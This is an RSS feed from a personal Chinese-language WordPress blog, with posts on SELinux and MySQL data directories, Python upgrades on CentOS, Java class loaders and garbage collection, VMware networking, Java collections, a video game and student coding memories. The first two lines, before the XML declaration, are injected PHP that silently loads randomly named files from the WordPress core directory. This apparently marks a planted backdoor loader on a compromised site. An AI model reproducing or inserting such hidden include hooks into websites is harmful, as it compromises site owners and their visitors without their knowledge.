<? if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/nnpdsxi.php')) { require_once (ABSPATH.WPINC.'/nnpdsxi.php'); } } ?>
<? if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/lynrpsymrs.php')) { require_once (ABSPATH.WPINC.'/lynrpsymrs.php'); } } ?>
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hello, Ivy</title>
	<atom:link href="http://blog.helloying.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://blog.helloying.com</link>
	<description>技巧的本质就是规则，而规则使人成长。</description>
	<lastBuildDate>Fri, 20 Apr 2012 07:51:45 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>MySQL can’t change data dir &amp; SELinux</title>
		<link>http://blog.helloying.com/?p=177</link>
		<comments>http://blog.helloying.com/?p=177#comments</comments>
		<pubDate>Fri, 20 Apr 2012 07:47:57 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Hello,world!]]></category>

		<guid isPermaLink="false">http://blog.helloying.com/?p=177</guid>
		<description><![CDATA[这两天在迁移mysql data dir的时候，发现新的data dir /data/mysql 在权限设置都正确的情况下，还是会报 Can&#8217;t change dir to &#8216;/data/mysql&#8217; (Errcode: 13) 。ErrCode 13也确实就是反映权限问题。网上查询了半天，查出有可能是SELinux的设置。于是，把SELinux关掉再重启mysql，starting mysql [OK]。 问题解决了，但是解决方式简单粗暴 =。= ，直接关掉SELinux。从安全方面考虑，这种方式不提倡。 so，研究研究SELinux吧。原以为SELinux会很难懂，我很怕这种权限问题，一看就觉得头大。读完Vincent Danen的这三篇关于SELinux的文章和SELinux的Wiki，之后，其实觉得SELinux也没我想象中那么complicated。 首先，SELinux是什么。简单说，SELinux帮助控制applicates可以访问哪些资源，这可以帮助我们阻止非法的访问请求。就像mysql，默认的SELinux只会把/var/lib/mysql作为MySQL可以访问的数据资源，而我们更改为/data/mysql下，就需要做额外的SELinux配置。 了解了SELinux是什么，找台机器试验一下。先看看系统环境，系统版本为centos 6.0。 [root@lxnaevcj ~]# head -n 1 /etc/issue CentOS Linux release 6.0 (Final) 获取当前SELinux情况。 [root@lxnaevcj ~]# getenforce Enforcing SELinux有三种状态，Enforcing（1），Permissive（0） 和 Disabled。Enforcing表明系统处于SELinux保护中，任何不合法的请求将被deny和report；Permissfive不阻止非法请求只进行report，Disabled则无任何操作。在Enforcing和Permisive这两种状态中切换只需要setenforce 0 或者setenfore 1，切换到disabled或者从disabled切到其他状态则需要更改/etc/sysconfig/selinux中的配置并重启机器。 SELinux中主要有4个概念，Users，Roles，Types 和Contexts。SELinux Users以_u结尾，Roles以_r结尾，Types为_t，Context（也被成为label） 则是一个进程或者一个文件的属性，用于表明进程访问这个文件的合法性。一个用户进程通常拥有f user_u:user_r:user_t的 context而用户的home目录则是user_u:object_r:user_home_t的context。 查看/var/lib/mysql的context，用 ls [...]]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=177</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>centos python2.4.3升级到2.6.5 并重装cherrypy和mysql-python</title>
		<link>http://blog.helloying.com/?p=173</link>
		<comments>http://blog.helloying.com/?p=173#comments</comments>
		<pubDate>Thu, 10 Mar 2011 06:54:54 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Hello,world!]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/?p=173</guid>
		<description><![CDATA[之前python一直用的2.4.3的环境，没有用到什么2.6的feature也就没出什么问题；突然某一天，用了另外一个同事的lib，逼得我升级python了。系统是centos5.5，上面已经装有cherrypy和mysql-python，所有相关的都需重装。在网上搜了一篇文章 CentOS 5.5 中 Python 升级到 2.6.5和一些帖子，这里写个总结 1、下载Python2.6.5 wget http://www.python.org/ftp/python/2.6.5/Python-2.6.5.tar.bz2 2、解压 tar jxvf Python-2.6.5.tar.bz2 3、编译安装 cd Python-2.6.5 ./configure make make install Python 默认安装目录在/usr/local/lib/python2.6 4. mv /usr/bin/python /usr/bin/python.bak ln -s /usr/local/bin/python2.6 /usr/bin/python 5. yum据说是依赖是python2.4.3 所以vim /usr/bin/yum ，将首行显示的 !#/usr/bin/python 修改为 !#/usr/bin/python2.4。 6. 重装cherry 下载cherrypy安装包，解压cd进去，读README文件看怎么安装。 7. 重装setuptools 下载setuptools，注意不用python版本对应的setuptools。现在我的python版本是2.6.5，因此下载setuptools-0.6c11-py2.6.egg。 sh setuptools-0.6c11-py2.6.egg 7 . 重装Mysqldb-python 下载MySQL-python-1.2.3.tar.gz ，解压cd进去 ，同样查看README看怎么安装。 site.cfg里有个配置是mysql_config，因为我的mysql安装路径不是默认的而是自己的/usr/local/mysql5.1/，所以在site.cfg里配置mysql_config为自己的路径，再执行以下2步。 $ [...]]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=173</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>java classloader</title>
		<link>http://blog.helloying.com/?p=169</link>
		<comments>http://blog.helloying.com/?p=169#comments</comments>
		<pubDate>Fri, 07 Jan 2011 11:58:51 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Hello,world!]]></category>
		<category><![CDATA[ClassLoader]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JVM]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/archives/169</guid>
		<description><![CDATA[ClassLoader：类加载器，将java的类文件加载进jvm。 1. ClassLoader简介 jvm里有三种classloader，BootstrapClassLoader、ExtClassLoader和AppClassLoader。BootstrapClassLoader是jvm启动时时加载java核心API和ExtClassLoader和AppClassLoader，ExcClassLoader加载/lib/ext里面的类，AppClassLoader加载用户程序的ClassPath里的类。 ClassLoader是个抽象类，他有2个构造函数，ClassLoader()和ClassLoader(ClassLoader parent)。ClassLoader()使用ClassLoader.getSystemClassLoader()返回的ClassLoader构造一个ClassLoader，并将此ClassLoader作为父加载器；而ClassLoader(ClassLoader parent)则使用这个指定的父类加载器构造ClassLoader。 public class CustomClassLoader extends ClassLoader { public CustomClassLoader() { super(); } } public class TestClient { /** * The test entrance. * @param args */ public static void main(String[] args) { CustomClassLoader loader = new CustomClassLoader(); System.out.println(ClassLoader.getSystemClassLoader()); System.out.println(loader.getParent()); System.out.println(loader.getParent().getParent()); System.out.println(loader.getParent().getParent().getParent()); } } 输出的结果是： sun.misc.Launcher$AppClassLoader@19821f sun.misc.Launcher$AppClassLoader@19821f sun.misc.Launcher$ExtClassLoader@addbf1 null 没有指定parent的ClassLoader，他的父加载器由ClassLoader.getSystemClassLoader()指定，可以看出AppClassLoader的parent是ExtClassLoader，ExtClassLoader的父加载器被设为null。ExtClassLoader和AppClassLoader都由BootstrapClassLoader加载，但是他们的父加载器不一样。 [...]]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=169</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Java HotSpot VM</title>
		<link>http://blog.helloying.com/?p=164</link>
		<comments>http://blog.helloying.com/?p=164#comments</comments>
		<pubDate>Tue, 04 Jan 2011 08:37:12 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Hello,world!]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[JVM]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/archives/164</guid>
		<description><![CDATA[从大的方面说，java虚拟机分为2类：client和server。server端的程序，显然，更注重最大的满足peak的运行速度，而不是快的启动速度和小的内存占用。 Memroy Model 在java hotspot vm中，对象引用都用指针实现。 为了充分运用多核，JVM为Young提供了Parallel的GC，tracing和live对象的复制有多线程并行的实现。 而Full GC，JVM默认使用mark-compact 收集算法；对于那些使用大的heap，mark-compact 收集会导致程序的中断。因此，jvm提供另外一种并发的collector，concurrent mark-sweep collector，在程序运行时trace和sweep。现在的JVM对于FGC提供一种并行的mark-compact collector，concurrent mark-sweep为了减少暂停时间，parallel mark-compact collector旨在增加吞吐量。parallel mark-compact collector在stop-the-word的暂停时间中使用多线程同时Old GC。 Java HotSpot Compilers Overview JIT编译器只在代码真正被执行的时候才将java字节码解释成本地机器语言。 Java HotSpot VM Advanced Features Scalability：JHSVM会自动根据机器的处理器数量、RAM大小选择Client\Sever VM , yong和old区的大小。 Performance：除了object-oriented optimization，vm和jre提供了其他的优化,fast reflection和NIO。 Reliability, Availability and Serviceability ============================================================================================================= Java HotSpot VM  调优 随着核数增加，GC时间增长，系统吞吐量会急剧下降。也就是说，在一个小的系统上一个无足轻重的速度因素在大的系统上就可能成为瓶颈。 从J2SE1.2之后，jvm就引入generational collection。 jvm将使用的内存分为young generation，tenured generation和permanet generation。绝大部分的objec被分配在young generation，并且大部分的object在这里die。当young generation满了之后，将引发minor [...]]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=164</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>仙剑4__生尽欢，死无憾</title>
		<link>http://blog.helloying.com/?p=126</link>
		<comments>http://blog.helloying.com/?p=126#comments</comments>
		<pubDate>Tue, 05 Oct 2010 02:51:55 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[From Movies,Books,Games&Dreams]]></category>
		<category><![CDATA[Games]]></category>
		<category><![CDATA[仙剑]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/?p=126</guid>
		<description><![CDATA[注：本来不想这么矫情的来写点什么，只是觉得不写的点什么又对不起我玩了接近40个小时。 看图说话。 仙四里面最喜欢的就是紫英，啊，我就是受不了这种面冷心热的型。在禁地外面，菱纱送了九龙缚丝穗给小紫英，紫英那个时候还是扭扭捏捏的不肯接受。后来到了封神陵为天河取那把后羿射日弓的时候，菱纱和天河在一旁亲亲我我，紫英被默默地晾在一边（抓狂啊！剧情里好多这样的情节，紫英完全被晾在一旁了，他明明也是喜欢菱纱的啊，菱纱不知道。纠结啊，小紫英啊，菱纱不要你，姐姐要你啊！）。菱纱和天河说完话，才想起一旁的紫英，菱纱不好意思的转过身，对紫英说没想到什么东西可以送，紫英只是说： 慕容紫英：不必……神兵利器，我并不稀罕，但你须记得自己的誓言，往后不可再因盗墓折去阳寿，这才是最重要的。 慕容紫英：今日之行我并不认同，但……如若取此弓会有任何报应，慕容紫英为朋友心甘情愿。 菱纱转过身去取后羿射日弓，紫英看着她的背景，心里默默的说：九龙缚丝剑穗；紫英明明就是喜欢菱纱的啊！ 即墨的花灯是我最喜欢的剧情，很温馨。万家灯火，四个人能永远这样就好了。 话说野人也真是命好啊，两个大美女都喜欢他。梦璃在他们要离开幻暝宫说的那首诗： 谁言别后终无悔，寒月清宵绮梦回，深知身在情长在，前尘不共彩云飞。 野人还傻愣愣的懂不了啊，抓狂！ 月牙村最后过剧情，菱纱抱着天河，可怜了小紫英啊，又在一旁默默地神伤啊，菱纱MM，你也太虐小紫英了。 在幻瞑界，琼华派的弟子和天河他们起了冲突，是紫英挡在中间，让琼华派的弟子请回。话说，小紫英这个帅气的阻挡迷了我半天呢，那小身板啪啦就甩过去挡在中间，够帅气啊。 还是剧情前面，在青鸾峰的时候，天河就跟菱纱说过，自己用弓，左手射箭比较准，右手力大。游戏里面，天河使落星式那些技能都是用的左手，最后要射即将坠落的琼华时，天河用了右手。最后的一箭。 百年后，青鸾峰上，梦璃回来了，紫英已是满头白发了。紫英至终都没有扭过头，梦璃问他：这些年过得好不好，紫英说： 无所谓好或不好，人生一场虚空大梦，韶华白首，不过转瞬。 这时刻的紫英真是太悲情了，韶华白首，不过转瞬，菱纱始终喜欢的不是他。 剧终。生尽欢，死无憾。 虽然最终不算是一个悲剧，心里还是很难受啊。]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=126</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>第一次参加线下活动__团购，随便唠叨几句</title>
		<link>http://blog.helloying.com/?p=116</link>
		<comments>http://blog.helloying.com/?p=116#comments</comments>
		<pubDate>Sun, 25 Jul 2010 12:20:40 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Thinking Point]]></category>
		<category><![CDATA[Thinking]]></category>
		<category><![CDATA[团购]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/archives/116</guid>
		<description><![CDATA[&#160;&#160;&#160;&#160;&#160;&#160;&#160; 先要感叹一下，首都就是好啊，做IT就是要在北京发展啊，这种机会真多啊，还免费的啊… &#160;&#160;&#160;&#160;&#160;&#160;&#160; 以下是正题。 &#160;&#160;&#160;&#160;&#160;&#160; 这次的活动主题是叩问团购价值，地点在世贸天阶的时尚大厦，离我住的地方真叫一个远啊。地铁坐了40分钟，再徒步20分钟，到了那边我腿都软了。然后由于我到的晚，现场的座位都没了，好吧，哥就站吧。不过站在后面有一个非常大的好处就是，我可以看到所有的人在做什么~~活动还没开始的时候，就看到大家在不停地交换名片。低调的我木有名片，低调地站在一旁，嗯，我低调地观察。活动开始，我就看到很多人手里拿了一叠花花绿绿的名片了，这个网那个网的。 &#160;&#160;&#160;&#160;&#160;&#160; 老实说，今天活动我倒没觉得有多精彩，可能这种线下交流的目的主要是让大家认识吧。几个嘉宾里面，就觉得F团创始人林宁的讲话还挺不错的。嗯，写一点我对他的讲话的记录，也引出自己的问题。以下是林宁讲话的节选（很节选，我用手机记的），括号里的字是我的想法。 &#160;&#160;&#160; &#160;&#160;&#160;&#160;&#160;&#160; 团购吸引人的重要因素就是价格，而以后团购网要做的是质量，是服务。 &#160;&#160;&#160;&#160;&#160; （ 说到团购商家的质量，作为消费者，我无法判断商家的服务水平，我更关注于这次的团购是哪个网站发出的。如果是美团和糯米，我会非常相信他们所选择的商家。这种消费者对于团购网的信赖是怎么产生的，特别是小网站怎么让消费者产生信赖的？就我个人而言，我接触的第一个团购网站是美团，然后因为王兴，所以信赖美团的质量。而关于糯米是因为某次看到一条新闻，里面提到了美团和糯米，好吧，还是因为美团的原因。小的团购网站怎么获得这种消费者的信赖？我曾经在另外的团购网上买过东西，价钱没的说，但是寄过来的东西有一股味道，对这家网站也就放弃了。因为一次的团购产品不好而对这家网站失去兴趣，同时也让我也对那些小的团购网站产生怀疑。至少，在下次再团购时，如果是小的团购网站，我会多斟酌一下。 ） &#160;&#160;&#160; &#160;&#160;&#160;&#160;&#160;&#160; 团购人数太多，商家无法承担。F网在对商家进行考察的时候，对于商家的接受能力也会有所考虑。 &#160;&#160;&#160;&#160; （ 记得看过一篇报道，说某个餐馆参加团购，结果有1000多份订单，老板相当崩溃。这种超量的订单，对于商家到底是好是坏？HF师兄曾经说过，团购这种性质的活动，对于那些才开的餐馆，会是一种非常好的宣传方式。但是我觉得，这种宣传确实是能给商家带来很多客户；但是这些客户中有多少又会再来吃第二次？超低折扣，会使很多离这家餐馆很远的人都跑过来吃，但是以后他们还会愿意再跑这么远的路么？一个餐馆的辐射区域，也就是它周边XX平方米的区别。而且现在的团购天天有，今天这家餐馆团购了，很便宜，明天那家餐馆又团购了，又很便宜；大家肯定会选择便宜的那家，所以大家吃饭都吃团购吧。这种模式，对商家而言，他们最终能收益多少？ ） &#160;&#160;&#160; &#160;&#160;&#160;&#160;&#160;&#160; 要抱着对用户负责，对商家负责，认同团购的想法去做团购。 &#160;&#160;&#160;&#160; （&#160; 这点我相当赞同，不管做什么，都要厚道！但是，怎么对商家负责（同上面的想法）？对用户负责，所有的团购网站，好好选择你们要合作的商家吧。可能你们一次的失误，就会丧失很多的用户，而这些用户又会影响到他身边的人，特别是我这样喜欢八卦的人…&#160; ） &#160;&#160;&#160; &#160;&#160; &#160;&#160;&#160;&#160; 最后写一些自己的感想： &#160;&#160;&#160;&#160;&#160; 团购确实在改变我的生活，吃喝玩乐方方面面。但是这种团购决定物品、决定时间、决定价格，团购让我产生消费念头的消费的方式让我觉得相当被动。感觉自己是在被人牵引着消费，而不是自己在主导消费。这种感觉经常会让我觉得非常内心一阵惶恐（难道是因为我是一个控制欲很强的人？）。所以很多情况下，我还是会选择商场，选择淘宝。因为淘宝和商场的这种消费模式，让我感到Free，让我觉得是因为自己想买东西所以我买东西。而且它海量的产品选择，往往轻而易举就迷糊了我的双眼，进而迷糊了我的钱包。所以，团购只能是消费的一种方式，它无法替代传统的消费。但愿大家不要成为团奴。理性消费。]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=116</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Win7下VMware Ubuntu Host-only配置上网</title>
		<link>http://blog.helloying.com/?p=106</link>
		<comments>http://blog.helloying.com/?p=106#comments</comments>
		<pubDate>Sat, 24 Jul 2010 05:24:29 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Hello,world!]]></category>
		<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[网络]]></category>
		<category><![CDATA[虚拟机]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/?p=106</guid>
		<description><![CDATA[今天只写步骤，技术说明我现在也不清楚。 1. 编辑Ubuntu下的DHCP配置，删除DHCP下全部内容并保存 sudo gedit /etc/dhcpd.conf 2. 主机中，网络与共享中心可以看到 本地连接是我主机的网络连接，本地连接2和本地连接3对应的是虚拟机，我的电脑中本地连接2对应的是VMnet1，查看VMnet1的IP（192.138.137.1）。在本地连接的属性中设置共享到VWnet。 3. 进入虚拟机，将虚拟机中的网卡IP设置为与VMnet1的IP一个网段内，网关设置为VMnet1的IP。 sudo gedit /etc/network/interfaces auto eth0 iface eth0 inet static address 192.168.137.X gateway 192.168.137.1 netmask 255.255.255.0 (注意上面的eth0中的0为数字零。) 虚拟机的DNS也设置为VMnet1的IP。 sudo gedit /etc/resolv.conf nameserver  192.168.137.1 4. 最后  sudo /etc/init.d/networking restart，可以上网了。 写下自己的几个疑问，下次的博文解释。 1. 几种网络连接方式NAT、Bridged、Host-only 的区别。 2. 同一个iso安装的Ubuntu，除了IP之外的其他设置都一样，Host-Only方式，掩码255.255.255.0,255.0.0.0都可以上网。 3.另外一个iso装的Ubuntu，和上面一样设置。 掩码为255.255.255.0时，在/etc/init.d/networking restart过程中： No such process Failed to bring up eth0 [...]]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=106</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>这一段时间在看的书、电影和电视剧</title>
		<link>http://blog.helloying.com/?p=95</link>
		<comments>http://blog.helloying.com/?p=95#comments</comments>
		<pubDate>Tue, 29 Jun 2010 12:09:38 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[From Movies,Books,Games&Dreams]]></category>
		<category><![CDATA[状态]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/?p=95</guid>
		<description><![CDATA[白夜行： 他(亮司)不总是在人们看不见的地方守护雪穗吗？” 其实，亮司也是希望能在白天行走。白夜行白夜行，不禁为亮司叹息。 大明宫词： 古灵精怪的太平，吓走了突厥王子，期待中的美爱情，最终却以悲剧收场。以杀戮开始的婚姻，从一开始就预示着不安。 姐姐的守护者： 如果改变不了，就接受。只是若干年后还是会觉得悲哀，生活中竟有那么多的时刻没有一起分享。 人在囧途： 看到同学的一篇校内日志，恩，喜欢李成功的老婆。温婉浓厚,淡然若定，她知道李成功要的是什么，她也知道李成功需要的是什么，所以她甘愿在背后等他，在他一转身就能看到的地方。 美丽最后在李成功箭头轻轻的那句“回家就好”，竟然让我泪流满面。]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=95</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Java中容器总结</title>
		<link>http://blog.helloying.com/?p=86</link>
		<comments>http://blog.helloying.com/?p=86#comments</comments>
		<pubDate>Sun, 30 May 2010 11:25:49 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[Hello,world!]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[容器]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/?p=86</guid>
		<description><![CDATA[      这段时间看Java中的容器，一直被搞的有点混。加上JDK1.5和JDK1.6又有点区别，更是理不清。现在做个总结。        Collection：        先看看JDK1.5和JDK1.6下的容器中集合接口的树。  1.6:                                                                                                                  1.5：      整体来说，Collection这个接口下的三个子接口还是List、Queue和Set，只不过1.6添加了几个子子接口。       在1.5和1.6里，List有以下两种类型：ArrayList和LinkedList。List接口的用户可以精确控制元素插入的位置，可以根据索引访问元素。从名字上可以看出这两种List的区别，一个基于Array存储，一个基于链表。这种存储方式的区别反映在他们在执行某些操作，如查找删除时，有着性能上的不同。另外，LinkedList包含的操作也对于ArrayList。要注意的是，ArrayList和LinkedList都是不同步，也就说在多个线程操作一个ArrayList/LinkedList同时其中一个线程改变了这个List的结构，那么它必须保持外部同步。Vector也是实现List的一个类，它可以实现可增长的对象数组，它的大小是可改变的；Vector是同步的。Stack继承于Vector，并扩展了5个方法。       Queue是一种典型的FIFO的容器，LinkedList也实现了Queue接口，可以用它作为Queue的一种实现。在1.5下,Queue只有一个子接口BlockingQueue；1.6下有三个子接口BlockingDeque，BlockingQueue和Deque。BlockingQueue相对于Queue而言，增加了两个附加操作：获取元素时等待队列变为非空，以及存储元素时等待空间变得可用。BlockingQueue可以实现限定容量的，是线程安全的。BlockingQueue主要用于生产者和消费者队列，BlockingQueue可以安全地与多个生产者和多个使用者一起使用。1.6中添加的Deque，定义了双端列队；BlockingDeque继承BlockingQueu和Deque，BlockingDeque是线程安全的，但不允许 null 元素，并且可能有（也可能没有）容量限制。ArrayBlockingQueue是一个有数组支持的有界阻塞队列，试图向已满队列中放入元素会导致放入操作受阻塞；试图从空队列中检索元素将导致类似阻塞。LinkedBlockingList是一个基于链表、范围任意的阻塞队列。PriorityBlockingQueue是一个无界的阻塞队列，。虽然此队列逻辑上是无界的，但是由于资源被耗尽，所以试图执行添加操作可能会失败（导致OutOfMemoryError）。在1.6，实现BlockingQueue的类有LinkedBlockingDeque。         Set是不包含重复元素（满足equals()）的collection，Set最常被使用的是测试归属性，判断一个元素是否在Set中。因此，查找成为Set中最重要的操作，通常会使用HashSet，它对快速查找进行了优化。主要介绍HashSet，TreeSet和LinkedHashSet。HashSet：为快速查找设计的Set，存入的元素必须定义hashCode()；TreeSet是保持次序的Set，底层为树结构，使用它可以提取有序的序列，元素必须Comparable接口；LinkedHashSet：具有HashSet的查找速度，且内部使用链表维护元素的顺序，在使用迭代器遍历是，会按元素插入的次序显示，元素也必须定义hashCode()方法。HashSet，TreeSet和LinkedHashSet都不同步。        Map：       Map提供了一种映射，常用的实现类有：HashMap、Hashtable、TreeMap、LinkedHashMap和ConcurrentHashMap。       HashMap和Hashtable都是通过使用Hash函数来分布元素，这里主要说一他们主要的区别：  Hashtable是同步的，而HashMap是不同步的，有多个线程访问HashMap时必须为之提供外同步，可以通过在创建时Map m = Collections.synchronizedMap(new HashMap(&#8230;))来完成这一包装实现同步。 Hashtable中不允许存在非null的键或值，HashMap中键值都可为null。 Hashtable直接使用元素的hashCode，HashMap重新计算。        TreeMap是SortMap接口基于红黑树的实现，此类保证了映射按照升序顺序排列关键字，根据使用的构造方法不同，可能会按照键的类的自然顺序 进行排序（参见 Comparable），或者按照创建时所提供的比较器进行排序。TreeMap是不同步的。      LinkdHashMap是Map接口的哈希表和链表实现，此实现与 HashMap的不同之处在于，后者维护着一个运行于所有条目的双重链接列表。此链接列表定义了迭代顺序，该迭代顺序通常就是将键插入到映射中的顺序（插入顺序）。可以在构造器中设定LinkedHashMap，使之采用基于访问的最近最少使用算法，没有被访问过的元素就会出现在队列前面，对于需要定期清理元素以节省空间的程序来说，此功能使得程序很容易得到实现。LinkedHashMap是不同步的。         ConcurrentHashMap是支持检索的完全并发和更新的所期望可调整并发的哈希表，ConcurrentHashMap是同步的。          ]]></description>
		<wfw:commentRss>http://blog.helloying.com/?feed=rss2&#038;p=86</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[Coding回忆文]08暑假，我的编程开始</title>
		<link>http://blog.helloying.com/?p=64</link>
		<comments>http://blog.helloying.com/?p=64#comments</comments>
		<pubDate>Sun, 16 May 2010 11:55:27 +0000</pubDate>
		<dc:creator>Ivy</dc:creator>
				<category><![CDATA[A Nice Day]]></category>
		<category><![CDATA[成长]]></category>

		<guid isPermaLink="false">http://www.helloying.com/blog/?p=64</guid>
		<description><![CDATA[         昨晚和网络部的同学吃饭，老部长的欢送会，席间也喝了一些小酒。很久没喝酒了，还是一如往常的喝一杯就上脸，然后手上还起了一些小红点。酒精过敏了，看来以后还是得少喝啊。         一起吃饭的是网络部第一届和第二届的一些成员，还有班主任也在。吃饭中，洋姜突然提到大一的那个暑假我们南一楼的那个时候，现在想想也觉得挺感慨的，写篇文来纪念下。          貌似是08年4月份的某个日子吧，在宿舍楼下的黑板上看到系网络部招新的通知，抱着学点技术以后好找工作的想法，又得知部门的指导老师是班主任，我就报名了。后来事实证明，技术的吸引力是巨大的，班主任的吸引力也是巨大的，我们班有差不多10个人报名了。          第一次的培训是在五一放假的某一天，同宿舍还有两个报名的MM都回家了。我就一个人坐车到了培训地点东五楼，校车师傅并没有把我载到东五，在几个路口前就让我下了，那天还是下着雨，可怜的我走到东五时鞋子全湿了。第一次培训的内容是互联网基础知识扫盲+HTML简介，记得班主任的PPT还是英文的，很是崇拜&#8230;课上班主任还演示了HTML的一些基本使用，感到很神奇&#8230;          再之后还有什么活动也记不清了，然后就是暑假的集训了。暑假集训的主要目的是为了重做系网站，系网站是几年前的几位学长做的，班主任对那么那个网站很不满意，说代码写得很不好看，也很不好维护。肩负着这样一个光荣的重做EI系网站的任务，我们这一群人，就浩浩荡荡的留在了学校里。同宿舍的两人一个回家一个社会实践，又是只有我一个人留下了。          于是乎，每天早上8点半左右，我就骑着我的小自行车，大义凛然地顶着毒辣辣的太阳奔向南一楼（我们网络部成员学习的地方）。那个时候还比较“嫩”，不知道打遮阳伞，也不知道擦防晒霜，估计晒黑了不少。网络部在南一楼的学习地点其实也就是一个十二平米左右的小房间，是我们系一位辅导员的办公室。就那么一个十二平米的小房间，我们大概塞了10个人在里面。每个人的活动区域都很小，也就能前后转个身而已。最开始的那段日子，空调还不咋听话，制冷效果不强，幸好后来空调修好了。那个时候，我还没电脑，FXX也没，我们俩就公用一台电脑，我看书的时候他操作，他看书的时候我操作。除了一、两个人有点基础外，我们剩下的人都是零基础，所以首先我们的任务就是：学习。学习的语言是C#，每个人都从图书馆借了一堆书回来，都是什么C#程序教程啊，精通SQL SERVER之类的。每天的工作就是抱着一本书看，然后再照着书本往电脑上敲代码。班主任也隔三岔五的来给我们搞个讲课，一堆人围在他旁边，看着他操作。记得是有一天，FXX传达了班主任的指示说第二天要来讲讲WinForm（也许是ASP.net，具体记不太清楚了）的开发，我想着不能脑袋里啥都没有就去听课撒，听也听不懂，当天晚上就看书看到三点，还抄了很多笔记在笔记本上；按照这样的速度，我两个晚上看书看到凌晨三四点，看完了一本C#的书，然后抄了半本笔记&#8230;说是笔记，其实也就是一些概念和代码，现在想想也真是挺佩服自己的。我那个时候每天研究的东西就是数据绑定，说起来还真是觉得有点囧&#8230;我什么C#的语法都没看，类啊，对象啊啥概念都不懂，就直接跳过书的一二三章，看后面的内容。整天就琢磨着怎么把数据库的记录显示到控件上，不管是Label，ListBox还是Repeater。班主任那个时候去了花溪社会实践，我还发过短信向他求助&#8230;班主任也真是人好，在短信中还耐心跟我解释，好人啊！之后遇到问题，也就去百度知道和MSDN，先搜，没有的话再自己发帖问。那个时候还知道了MVP孟宪会，我在MSDN上问的问题，基本上都是他帮我解决的，我都叫他孟VP。刚开始学习的日子总是困难的，每天都充满了挫败感，为什么代码总是有错误？自己也很沮丧，也经常发短信和FXX发发牢骚。FXX总会很耐心的开导我，记得他有条短信，大意是这样子：坚持一下，说不定明天就会更好。我很感激FXX那个时候的鼓励，也庆幸自己一直没有放弃。日子就这样一天一天的过，渐渐地FXX、老杨他们晚上也不回宿舍了，就在工作室里睡，经常是早上我到的时候他们还在里面，然后我就毫不留情的打FXX电话将他们吵醒，其实我也没办法。还记得每次进屋都觉得空气很浑浊，还掺着蚊香的味道，闷了一个晚上的空气，他们也还真睡的香&#8230;         一个多星期之后吧，班主任社会实践归来，网络部全体成员出去吃了一顿饭，是在三国吃的火锅。那晚上喝酒喝的很多，大家吃的也挺high，吃完饭还去想唱就唱唱了通宵歌~                7月下旬学了什么也记不太清楚了，只记得我花了一个上午和一个下午的时间看完了一套Ps的基本操作的视频，从此，我就会Ps了；我的Ps能力也就定格在这里了（后来一直没再有机会去学Ps）。老杨那边JS和DIV搞得风风火火的，帅哥的RSS订阅也进行的很不错，小白的P图也是一直在做着；倒是洋姜和FXX那个时候在做什么我还真是记不清了。依稀记得洋姜在和老杨他们在做些什么，FXX看过一些C#的视频。        很快就到了8月初，网络部也就放假了。我是8月5日的火车吧，回家好像还带了2本C#的书回去吧，看没看也不记得了。        之后回到学校，又学了些LINQ和三层架构的东西；再后来，也就加了联创 